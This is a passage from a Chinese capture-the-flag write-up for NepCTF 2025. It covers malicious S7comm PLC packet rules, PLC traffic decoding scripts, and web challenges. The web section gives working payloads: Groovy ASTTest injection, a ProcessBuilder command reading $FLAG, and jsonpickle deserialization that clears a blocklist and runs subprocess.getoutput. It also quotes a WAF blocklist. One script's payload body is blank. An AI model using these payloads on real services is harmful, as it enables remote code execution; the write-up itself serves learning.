55 00 01 03 00 00 21 02 f0 85 32 01 00 00 08 fc 00 10 00 00 29 00 00 00 00 00 09 50 5f 50 52 4f 47 52 41 4d

恶意特征2:访问未授权内存区域

规则:

报文是一个标准数据包(COTP参数为0x80),但其数据载荷中包含了ASCII字符串P_PROGRAM

解释:

P_PROGRAM是西门子PLC中一个受保护的系统程序内存区。任何尝试直接读写该区域的通信都属于高危的未授权操作,意图篡改PLC 的核心逻辑。

恶意报文示例:
1
2
3
# 报文尾部包含了 P_PROGRAM 的ASCII码(505f50524f4752414d)
↓ ↓
82 00 01 03 00 00 21 02 f0 80 32 01 00 00 08 fc 00 10 00 00 29 00 00 00 00 00 09 50 5f 50 52 4f 47 52 41 4d

恶意特征3:特定长度的畸形短报文

规则:

报文是一个标准数据包(COTP参数为0x80),且不含P_PROGRAM,但其TPKT头中声明的总长度恰好为25字节(\x00\x19)

解释:

这是最隐蔽的规则。在此题的流量中,存在两种看似一样的短0x80包。长度为19字节的包是正常的ACK(确认)包,而长
度恰好为25字节的包是一种恶意构造的、不完整的或用于探测的畸形报文。

恶意报文示例:

1
2
3
# TPKT长度字段 (数据流第6、7字节) 的值是 0x0019 (25)
↓ ↓
95 00 01 03 00 00 19 02 f0 80 32 01 00 00 08 fc 00 08 00 00 1e 01 00 00 00 00 00 01

任何不满足以上三条规则中任意一条的报文,都可以被视为正常。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
#!/usr/bin/env python3
from pwn import *

# --- 配置 ---
HOST = "nepctf30-dq8h-mc4n-y7by-0iq7cr1lo729.nepctf.com"
PORT = 443
# context.log_level = 'debug'

# --- 规则参数 ---
DB_NUMBER_BYTES = b'\x03\xea' # DB 1002
LONG_PACKET_THRESHOLD = 30 # 用于区分真实数据请求和简短ACK的长度阈值
MALFORMED_SHORT_PACKET_LENGTH = 25 # 我们发现的恶意短包的特定长度

# --- 连接服务器 ---
p = remote(HOST, PORT, ssl=True)

# --- 选择功能1 ---
p.sendlineafter(b'> ', b'1')
log.info("已选择功能1")
p.recvuntil(b'the correct data unit reference should be 2300.\n \n')

try:
for i in range(100):
# 接收并打印服务器提示
prompt_line = p.recvline().decode().strip()
log.info(f"收到提示: {prompt_line}")

# 接收并解析报文
data_line = p.recvline().strip()
try:
raw_bytes = eval(data_line)
except Exception as e:
log.error(f"无法解析报文: {data_line}, 错误: {e}")
break

# 提取关键信息
depth = raw_bytes[0]
cotp_param = raw_bytes[9]
s7_packet = raw_bytes[3:]
tpkt_length = u16(s7_packet[2:4], endian='big')

# --- 判断逻辑 ---
is_malicious = False
reason = "判定为正常 (未命中任何恶意规则)"

# 规则A: 非法功能调用
if cotp_param != 0x80:
is_malicious = True
reason = f"恶意 (规则A): COTP参数为 {hex(cotp_param)} (非0x80)。"

# 规则B: 访问非法区域
elif b'P_PROGRAM' in raw_bytes:
is_malicious = True
reason = f"恶意 (规则B): 报文中包含 'P_PROGRAM' 关键字。"

# 规则C: 畸形的短包
elif tpkt_length == MALFORMED_SHORT_PACKET_LENGTH:
is_malicious = True
reason = f"恶意 (规则C): 发现TPKT长度为 {tpkt_length} 的畸形短包。"

# --- 打印分析过程和结果 ---
print("-" * 60)
log.info(f"正在分析 Packet {i} (depth={depth})")
print(f" - 原始数据 (hex): {raw_bytes.hex()}")
print(f" - TPKT 长度: {tpkt_length}, COTP 参数: {hex(cotp_param)}")

# --- 发送判断并打印 ---
decision = '1' if is_malicious else '0'
if is_malicious:
log.warning(reason)
else:
log.success(reason)

p.sendlineafter(b'/ SIEM > ', decision.encode())
print(f" - 已发送判断: '{decision}'")
print("-" * 60)

log.success("所有100个报文处理完毕")
p.interactive()

except Exception as e:
log.error(f"脚本出现异常: {e}")
finally:
p.close()

运行得到

最后flag为

1
NepCTF{14c1ad4a-a9db-57b2-3480-77336fa1ad20}

薯饼的PLC

题目描述:

1
薯饼在二手市场淘了一个十五年前的全新成色PLC,他效仿GeekLogic在存储区里放了点东西。为了将这份喜悦分享出去,他将PLC映射到了互联网上。我们捕捉到了一段他通信时的流量,你能猜出他存了什么嘛?

还是根据大佬博客复现

NepCTF 2025 | Aristore

tshark提取s7comm协议内容

1
tshark -r a.pcap -d tcp.port==11102,tpkt -O s7comm > 1.txt

提取内容

发现客户端执行的唯一操作是ReadVar(读取变量),每次请求都只读取一个字节(BYTE1),结合题目要求很容易想
到接下来要做的就是把读取的变量按顺序排列拼接起来

再多翻几条流量发现客户端在循环读取两个主要数据块DB1002和DB1003中的变量,接下来拼接的时候得分开来

用脚本从1.txt中提取出所有S7通信的请求和响应,并将其保存到plc_data.csv文件中方便后续进一步的分析

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
import re
import csv
import os

def extract_s7_data(input_file, output_file):
"""
Parses a Wireshark-like text dump to extract S7 "Read Var" requests
and their corresponding "Ack_Data" responses, then saves them to a CSV file.

Args:
input_file (str): The path to the input text file (e.g., 'b.txt').
output_file (str): The path to the output CSV file.
"""
if not os.path.exists(input_file):
print(f"Error: Input file '{input_file}' not found.")
return

try:
with open(input_file, 'r', encoding='utf-8') as f:
content = f.read()
except Exception as e:
print(f"Error reading file: {e}")
return

# Split the entire text file into individual frame chunks.
# The initial split creates an empty string at the beginning, so we slice it off.
frames_text = re.split(r'\nFrame ', content)
if frames_text:
frames_text[0] = frames_text[0].replace('--- START OF FILE b.txt ---\n\nFrame ', '', 1)

extracted_data = []

# Regex patterns to find request and response frames and their data
request_pattern = re.compile(
r'^(?P<req_frame>\d+):.*?'
r'ROSCTR: Job \(1\).*?'
r'Function: Read Var.*?'
r'Item \[1\]: \((?P<address>DB \d+\.DBX \d+\.\d+ BYTE 1)\)',
re.DOTALL | re.MULTILINE
)

response_pattern = re.compile(
r'^(?P<res_frame>\d+):.*?'
r'ROSCTR: Ack_Data \(3\).*?'
r'Data: (?P<value>\w+)',
re.DOTALL | re.MULTILINE
)

i = 0
while i < len(frames_text):
# Look for a request frame
match_request = request_pattern.search(frames_text[i])

if match_request:
req_frame_num = match_request.group('req_frame')
address = match_request.group('address')

# Search for the *next* response frame
j = i + 1
while j < len(frames_text):
match_response = response_pattern.search(frames_text[j])
if match_response:
res_frame_num = match_response.group('res_frame')
# The value is returned in hexadecimal, convert to decimal integer
value = int(match_response.group('value'), 16)

# Store the complete transaction
extracted_data.append([req_frame_num, address, res_frame_num, value])
break # Found the response, stop searching
j += 1
i += 1

# Write the extracted data to the CSV file
try:
with open(output_file, 'w', newline='', encoding='utf-8') as csvfile:
writer = csv.writer(csvfile)
writer.writerow(['Request Frame', 'Address Read', 'Response Frame', 'Value (Decimal)'])
writer.writerows(extracted_data)
print(f"✅ Successfully extracted {len(extracted_data)} data points to '{output_file}'")
except Exception as e:
print(f"Error writing to CSV file: {e}")

# --- Main execution ---
if __name__ == "__main__":
extract_s7_data('1.txt', 'plc_data.csv')

运行得到

可以发现和前面观察到的结果是一致的,用脚本将数据按DB块分开,然后按地址排序,最后将数值转换成字符并拼接
起来即可

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
import csv
import re

def solve_plc_puzzle(csv_file_path):
"""
Reads the extracted PLC data from a CSV, sorts it by memory address,
and decodes the hidden ASCII messages.

Args:
csv_file_path (str): The path to the input CSV file.
"""
# Dictionaries to store data, mapping a sortable address tuple to its value
# Format: {(byte_address, bit_address): value}
db_1002_data = {}
db_1003_data = {}

# Regex to parse the address string like "DB 1002.DBX 1002.0 BYTE 1"
address_pattern = re.compile(r'DB (\d+)\.DBX (\d+)\.(\d+)')

try:
with open(csv_file_path, 'r', newline='', encoding='utf-8') as f:
reader = csv.DictReader(f)
for row in reader:
address_str = row['Address Read']
# The CSV has space before the value header, handle it.
value = int(row['Value (Decimal)'])

match = address_pattern.match(address_str)
if not match:
continue

db_num = int(match.group(1))
byte_addr = int(match.group(2))
bit_addr = int(match.group(3))

# Use a tuple of integers for easy and correct sorting
sortable_address = (byte_addr, bit_addr)

if db_num == 1002:
db_1002_data[sortable_address] = value
elif db_num == 1003:
db_1003_data[sortable_address] = value

except FileNotFoundError:
print(f"Error: The file '{csv_file_path}' was not found.")
return
except Exception as e:
print(f"An error occurred: {e}")
return

# Sort the dictionary keys (addresses) to get the correct logical order
sorted_keys_1002 = sorted(db_1002_data.keys())
sorted_keys_1003 = sorted(db_1003_data.keys())

# Convert the sorted values to characters and join them into a string
# We ignore null bytes (value 0) as they are often used as terminators or padding
message_1002 = "".join([chr(db_1002_data[key]) for key in sorted_keys_1002 if db_1002_data[key] != 0])
message_1003 = "".join([chr(db_1003_data[key]) for key in sorted_keys_1003 if db_1003_data[key] != 0])

print("✅ Data processed successfully. Here is the restored content:\n")
print("="*40)
print("🔍 Content from Data Block 1002:")
print("="*40)
print(message_1002)
print("\n")
print("="*40)
print("🔍 Content from Data Block 1003:")
print("="*40)
print(message_1003)
print("\n")


# --- Main execution ---
if __name__ == "__main__":
solve_plc_puzzle('plc_data.csv')

运行得到

得到

1
2
3
4
5
6
7
8
9
10
11
12
✅ Data processed successfully. Here is the restored content:

========================================
🔍 Content from Data Block 1002:
========================================
0100111001100101011100000100001101010100010001100111101100111000001100010110010100110111001101100110011000110001001110000010110101100001001100110011011001100101001011010110011000111001001101000011010100101101001101000110010100110001001110000010110100110010001100100011011101100010001101000011100000111001001110010011001000110011011001000110010101111101


========================================
🔍 Content from Data Block 1003:
========================================
200120011210211010011101010222111102220200220020021112020012020011112121110122000202201100012111120220121122211001

把DB1002的内容二进制转ASClI就能拿到 flag了,赛博厨子一把梭

最后flag为

1
NepCTF{81e76f18-a36e-f945-4e18-227b489923de}

web

JavaSeri

题目描述:

1
路由带上login.jsp

开启环境

shiro反序列化工具一把梭

最后flag为

1
flag{0f1e3fd5-f38d-119a-6d59-9b9363535d67}

easyGooGooVVVY

题目描述:

1
高松灯是一名java安全初学者,最近她在看groovy表达式注入。。。

开启环境

参考 https://xz.aliyun.com/news/7826

利用@groovy.transform.ASTTest注解来实现在AST上执行一个断言
测了一下好像不出网 那么我们改改直接将输出当异常抛出来

payload:

1
2
3
4
5
6
@groovy.transform.ASTTest(value={
def p = "env ".execute()
def output = p.text
throw new RuntimeException(output)
})
class Exploit {}

最后flag为

1
flag{f92f0ec7-d680-3d7d-0d83-486beb85eca5}

RevengeGooGooVVVY

题目描述:

1
稍微模拟一下real环境。题目不出网,没有给出完整jar,请根据题目环境和信息思考附件关联性并进行进一步探索。 有人指示我来复仇了 好想成为人类🐧🐧🐧好想成为人类🐧🐧🐧好想成为人类🐧🐧🐧好想成为人类🐧🐧🐧好想成为人类🐧🐧🐧好想成为人类🐧🐧🐧好想成为人类🐧🐧🐧好想成为人类🐧🐧🐧好想成为人类🐧🐧🐧好想成为人类🐧🐧🐧

开启环境

使用上一题payload试试

禁用了.execute()

利用命令行读取环境变量

1
2
3
4
def p = new ProcessBuilder(['sh','-c','echo $FLAG']) 
def r = p.start()
r.waitFor()
r.inputStream.text.trim()

最后flag为

1
NepCTF{d75bb19c-0f69-e758-403a-bd1f415d988d}

safe_bank

题目描述:

1
欢迎来到全世界最安全的银行系统!我们采用了最先进的安保系统来保护您的账户。但最近有传言说,即使是最安全的系统也可能存在漏洞。你能绕过我们的安全措施,进入金库获取宝藏吗?

开启环境

注册个账号登进去

bp抓包看看

解一下cookie的base编码

将user名称改为admin

1
{"py/object": "__main__.Session", "meta": {"user": "admin", "ts": 1754295101}}

进行加密

1
eyJweS9vYmplY3QiOiAiX19tYWluX18uU2Vzc2lvbiIsICJtZXRhIjogeyJ1c2VyIjogImFkbWluIiwgInRzIjogMTc1NDI5NTEwMX19

替换cookie得到

访问/vault

假flag,看的出来这题考点是jsonpickle

参考文章

从源码看JsonPickle反序列化利用与绕WAF-先知社区

强网S8决赛JsonPcikle Safe模式下的RCE与绕过分析研究-先知社区

可用payload

1
2
3
{"py/object": "glob.glob", "py/newargsex":[{"py/set":["/*"]},""]}

{"py/object": "linecache.getlines", "py/newargsex": [{"py/set":["/*"]]}

读取目录内容

1
{"py/object": "__main__.Session", "meta": {"user": {"py/object": "glob.glob", "py/newargsex": [{"py/set":["/*"]},""]},"ts":1754295101}}

base加密

1
eyJweS9vYmplY3QiOiAiX19tYWluX18uU2Vzc2lvbiIsICJtZXRhIjogeyJ1c2VyIjogeyJweS9vYmplY3QiOiAiZ2xvYi5nbG9iIiwgInB5L25ld2FyZ3NleCI6IFt7InB5L3NldCI6WyIvKiJdfSwiIl19LCJ0cyI6MTc1NDI5NTEwMX19

读取源码

1
{"py/object": "__main__.Session", "meta": {"user": {"py/object": "linecache.getlines", "py/newargs": ["/app/app.py"]}, "ts": 1754295101}}

base加密

1
eyJweS9vYmplY3QiOiAiX19tYWluX18uU2Vzc2lvbiIsICJtZXRhIjogeyJ1c2VyIjogeyJweS9vYmplY3QiOiAibGluZWNhY2hlLmdldGxpbmVzIiwgInB5L25ld2FyZ3MiOiBbIi9hcHAvYXBwLnB5Il19LCAidHMiOiAxNzU0Mjk1MTAxfX0=

整理源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
from flask import Flask, request, make_response, render_template, redirect, url_for
import jsonpickle
import base64
import json
import os
import time

app = Flask(__name__)
app.secret_key = os.urandom(24)

class Account:
def __init__(self, uid, pwd):
self.uid = uid
self.pwd = pwd

class Session:
def __init__(self, meta):
self.meta = meta

users_db = [
Account("admin", os.urandom(16).hex()),
Account("guest", "guest")
]

def register_user(username, password):
for acc in users_db:
if acc.uid == username:
return False
users_db.append(Account(username, password))
return True

FORBIDDEN = [
'builtins', 'os', 'system', 'repr', '__class__', 'subprocess', 'popen', 'Popen', 'nt',
'code', 'reduce', 'compile', 'command', 'pty', 'platform', 'pdb', 'pickle', 'marshal',
'socket', 'threading', 'multiprocessing', 'signal', 'traceback', 'inspect', '\\\\\\\\', 'posix',
'render_template', 'jsonpickle', 'cgi', 'execfile', 'importlib', 'sys', 'shutil', 'state',
'import', 'ctypes', 'timeit', 'input', 'open', 'codecs', 'base64', 'jinja2', 're', 'json'
'file', 'write', 'read', 'globals', 'locals', 'getattr', 'setattr', 'delattr', 'uuid',
'__import__', '__globals__', '__code__', '__closure__', '__func__', '__self__', 'pydoc',
'__module__', '__dict__', '__mro__', '__subclasses__', '__init__', '__new__'
]

def waf(serialized):
try:
data = json.loads(serialized)
payload = json.dumps(data, ensure_ascii=False)
for bad in FORBIDDEN:
if bad in payload:
return bad
return None
except:
return "error"

@app.route('/')
def root():
return render_template('index.html')

@app.route('/register', methods=['GET', 'POST'])
def register():
if request.method == 'POST':
username = request.form.get('username')
password = request.form.get('password')
confirm_password = request.form.get('confirm_password')

if not username or not password or not confirm_password:
return render_template(\'register.html\', error="所有字段都是必填的。")

if password != confirm_password:
return render_template(\'register.html\', error="密码不匹配。")

if len(username) < 4 or len(password) < 6:
return render_template(\'register.html\', error="用户名至少需要4个字符,密码至少需要6个字符。")

if register_user(username, password):
return render_template(\'index.html\', message="注册成功!请登录。")
else:
return render_template(\'register.html\', error="用户名已存在。")

return render_template('register.html')

@app.post('/auth')
def auth():
u = request.form.get("u")
p = request.form.get("p")
for acc in users_db:
if acc.uid == u and acc.pwd == p:
sess_data = Session({'user': u, 'ts': int(time.time())})
token_raw = jsonpickle.encode(sess_data)
b64_token = base64.b64encode(token_raw.encode()).decode()
resp = make_response("登录成功。")
resp.set_cookie("authz", b64_token)
resp.status_code = 302
resp.headers['Location'] = '/panel'
return resp
return render_template(\'index.html\', error="登录失败。用户名或密码无效。")

@app.route('/panel')
def panel():
token = request.cookies.get("authz")
if not token:
return redirect(url_for(\'root\', error="缺少Token。"))

try:
decoded = base64.b64decode(token.encode()).decode()
except:
return render_template(\'error.html\', error="Token格式错误。")

ban = waf(decoded)
if waf(decoded):
return render_template(\'error.html\', error=f"请不要黑客攻击!{ban}")

try:
sess_obj = jsonpickle.decode(decoded, safe=True)
meta = sess_obj.meta

if meta.get("user") != "admin":
return render_template('user_panel.html', username=meta.get('user'))

return render_template('admin_panel.html')
except Exception as e:
return render_template(\'error.html\', error=f"数据解码失败。")

@app.route('/vault')
def vault():
token = request.cookies.get("authz")
if not token:
return redirect(url_for('root'))

try:
decoded = base64.b64decode(token.encode()).decode()
if waf(decoded):
return render_template(\'error.html\', error="请不要尝试黑客攻击!")
sess_obj = jsonpickle.decode(decoded, safe=True)
meta = sess_obj.meta

if meta.get("user") != "admin":
return render_template(\'error.html\', error="访问被拒绝。只有管理员才能查看此页面。")

flag = "NepCTF{fake_flag_this_is_not_the_real_one}"

return render_template('vault.html', flag=flag)
except:
return redirect(url_for('root'))

@app.route('/about')
def about():
return render_template('about.html')

if __name__ == '__main__':
app.run(host='0.0.0.0', port=8000, debug=False)

这黑名单……

1
2
3
4
5
6
7
8
9
10
FORBIDDEN = [
'builtins', 'os', 'system', 'repr', '__class__', 'subprocess', 'popen', 'Popen', 'nt',
'code', 'reduce', 'compile', 'command', 'pty', 'platform', 'pdb', 'pickle', 'marshal',
'socket', 'threading', 'multiprocessing', 'signal', 'traceback', 'inspect', '\\\\\\\\', 'posix',
'render_template', 'jsonpickle', 'cgi', 'execfile', 'importlib', 'sys', 'shutil', 'state',
'import', 'ctypes', 'timeit', 'input', 'open', 'codecs', 'base64', 'jinja2', 're', 'json',
'file', 'write', 'read', 'globals', 'locals', 'getattr', 'setattr', 'delattr', 'uuid',
'__import__', '__globals__', '__code__', '__closure__', '__func__', '__self__', 'pydoc',
'__module__', '__dict__', '__mro__', '__subclasses__', '__init__', '__new__'
]

绕过黑名单不现实,参考了LamentXU师傅博客

https://www.cnblogs.com/LAMENTXU/articles/19007988

置空黑名单

1
{"py/object": "__main__.Session", "meta": {"user": {"py/object": "__main__.FORBIDDEN.clear", "py/newargs": []}, "ts": 1754295101}}

base加密

1
eyJweS9vYmplY3QiOiAiX19tYWluX18uU2Vzc2lvbiIsICJtZXRhIjogeyJ1c2VyIjogeyJweS9vYmplY3QiOiAiX19tYWluX18uRk9SQklEREVOLmNsZWFyIiwgInB5L25ld2FyZ3MiOiBbXX0sICJ0cyI6IDE3NTQyOTUxMDF9fQ==

执行/readflag

1
{"py/object": "__main__.Session", "meta": {"user": {"py/object": "subprocess.getoutput", "py/newargs": ["/readflag"]}, "ts": 1754295101}}

base加密

1
eyJweS9vYmplY3QiOiAiX19tYWluX18uU2Vzc2lvbiIsICJtZXRhIjogeyJ1c2VyIjogeyJweS9vYmplY3QiOiAic3VicHJvY2Vzcy5nZXRvdXRwdXQiLCAicHkvbmV3YXJncyI6IFsiL3JlYWRmbGFnIl19LCAidHMiOiAxNzU0Mjk1MTAxfX0=

还有一种写脚本方法

NepCTF2025-web-writeup-CSDN博客

chleynx师傅的脚本

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
import base64
import json
import requests

# 修改这里的配置
TARGET_URL = "https://nepctf31-pmir-trfm-ompp-p1fef2v3x395.nepctf.com/panel"
COMMAND = "import os;os.system('/readflag>/app/flag5.txt')"


def string_to_chr(s):
return "+".join([f"chr({ord(c)})" for c in s])


def generate_payload(command):
# 转换命令为chr()形式
chr_command = string_to_chr(command)

# 构造payload
payload =






# 转为JSON字符串
json_payload = json.dumps(payload, ensure_ascii=False)

# Base64编码
b64_payload = base64.b64encode(json_payload.encode()).decode()

return b64_payload


def send_request(url, payload):
headers = {
"Cookie": f"authz={payload}",
"Pragma": "no-cache",
"Cache-Control": "no-cache",
"Sec-Ch-Ua": '"Not)A;Brand";v="8", "Chromium";v="138", "Microsoft Edge";v="138"',
"Sec-Ch-Ua-Mobile": "?0",
"Sec-Ch-Ua-Platform": '"Windows"',
"Upgrade-Insecure-Requests": "1",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36 Edg/138.0.0.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
"Sec-Fetch-Site": "same-origin",
"Sec-Fetch-Mode": "navigate",
"Sec-Fetch-Dest": "document",
"Accept-Encoding": "gzip, deflate, br",
"Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6",
"Sec-Fetch-User": "?1",
"Priority": "u=0, i",
"Connection": "keep-alive",
}

try:
response = requests.get(url, headers=headers, timeout=10)
return response
except Exception as e:
print(f"请求失败: {e}")
return None


if __name__ == "__main__":
print(f"目标URL: {TARGET_URL}")
print(f"执行命令: {COMMAND}")
print("-" * 50)

# 生成payload
payload = generate_payload(COMMAND)
print(f"生成的payload: {payload}")
print()

# 发送请求
print("发送请求中...")
response = send_request(TARGET_URL, payload)

if response:
print(f"状态码: {response.status_code}")
print(f"响应长度: {len(response.text)}")
print("响应内容:")
print("-" * 30)
print(response.text)
else:
print("请求失败!")

置空黑名单

执行/readflag

最后flag为

1
NepCTF{8451b23b-d115-fd98-beaa-983e988b05f6}

文章作者: yiqing
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 yiqing !
  目录